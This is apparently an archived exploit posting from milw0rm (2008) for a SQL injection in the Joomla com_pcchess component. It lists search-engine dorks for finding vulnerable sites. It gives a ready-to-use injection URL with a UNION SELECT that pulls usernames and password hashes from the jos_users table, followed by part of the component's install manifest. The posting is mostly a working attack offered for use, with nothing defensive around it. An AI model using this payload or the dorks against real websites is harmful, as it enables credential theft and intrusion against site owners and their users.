38 lines
No EOL
1.2 KiB
Text
38 lines
No EOL
1.2 KiB
Text
#########################################################################
|
|
#
|
|
# joomla SQL Injection(com_pcchess)
|
|
#
|
|
#########################################################################
|
|
#
|
|
# AUTHOR : S@BUN
|
|
#
|
|
# HOME : http://www.hackturkiye.com
|
|
#
|
|
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
|
|
#
|
|
#########################################################################
|
|
#
|
|
# DORK 1 : allinurl: com_pcchess "user_id"
|
|
#
|
|
# DORK 2 : allinurl: com_pcchess
|
|
#
|
|
#########################################################################
|
|
EXPLOIT :
|
|
|
|
index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
|
|
|
|
#########################################################################
|
|
# S@BUN i AM NOT HACKER S@BUN
|
|
#########################################################################
|
|
|
|
<mosinstall type="component">
|
|
<name>pcchess</name>
|
|
<creationDate>08/20/2005</creationDate>
|
|
<author>Robert Prince</author>
|
|
<copyright>This component copyright Robert J. Prince, released under the GNU/GPL License</copyright>
|
|
<authorEmail>rob@princeclan.org</authorEmail>
|
|
|
|
<authorUrl>www.princeclan.org</authorUrl>
|
|
<version>0.8</version>
|
|
|
|
# milw0rm.com [2008-02-12] |